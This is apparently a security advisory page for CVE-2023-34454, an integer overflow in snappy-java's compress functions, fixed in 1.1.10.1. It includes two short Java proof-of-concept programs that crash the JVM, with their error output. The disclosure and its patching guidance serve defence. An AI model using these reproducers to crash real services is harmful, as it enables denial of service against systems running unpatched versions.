🛡️ CVE-2023-34454 — snappy-java
Description
snappy-java's Integer Overflow vulnerability in compress leads to DoS
Summary
Due to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error.
Impact
Denial of Service
Description
The function [compress(char[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L169) in the file [Snappy.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java) receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the [rawCompress](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L422) function.
```java
public static byte[] compress(char[] input)
throws IOException
{
return rawCompress(input, input.length * 2); // char uses 2 bytes
}
```
Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.
```java
public static byte[] rawCompress(Object data, int byteSize)
throws IOException
{
byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)];
int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0);
byte[] result = new byte[compressedByteSize];
System.arraycopy(buf, 0, result, 0, compressedByteSize);
return result;
}
```
Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a “java.lang.NegativeArraySizeException” exception will be raised while trying to allocate the array “buf”. On the other side, if the result is positive, the “buf” array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.
The same issue exists also when using the “compress” functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.
Steps To Reproduce
Compile and run the following code:
```java
package org.example;
import org.xerial.snappy.Snappy;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
char[] uncompressed = new char[0x40000000];
byte[] compressed = Snappy.compress(uncompressed);
}
}
```
The program will crash, creating crashdumps and showing the following error (or similar):
```
#
# A fatal error has been detected by the Java Runtime Environment:
#
# EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508
#
.......
```
Alternatively - compile and run the following code:
```java
package org.example;
import org.xerial.snappy.Snappy;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
char[] uncompressed = new char[0x3fffffff];
byte[] compressed = Snappy.compress(uncompressed);
}
}
```
The program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java:
```
Exception in thread "main" java.lang.NegativeArraySizeException: -1789569677
at org.xerial.snappy.Snappy.rawCompress(Snappy.java:425)
at org.xerial.snappy.Snappy.compress(Snappy.java:172)
at org.example.Main.main(Main.java:10)
```
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2023-34454 is classified as CWE-190: Integer Overflow or Wraparound. Arithmetic produces a value too large for its type and wraps around, so a later size or bounds check passes when it should not.
Affected software
CVE-2023-34454 is recorded against 2 packages.
- org.xerial.snappy:snappy-java (fixed in 1.1.10.1)
- snappy-java (fixed in 1.1.10.1)
Timeline and source
Published on 15 June 2023 and last revised on 4 February 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
github.com (Web)
CVE-2023-34454 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| org.xerial.snappy:snappy-java | — | 1.1.10.1 |
| snappy-java | — | 1.1.10.1 |
References
Similar Threats
- Unknown CLSA-2024-1732492826
- Unknown CLSA-2026-1774743847
- Unknown CLSA-2026-1777250302
- High ROOT-APP-MAVEN-CVE-2023-34453
- High ROOT-APP-MAVEN-CVE-2023-34454
More CVE 2023 advisories
Browse all of CVE 2023 in the advisory index.
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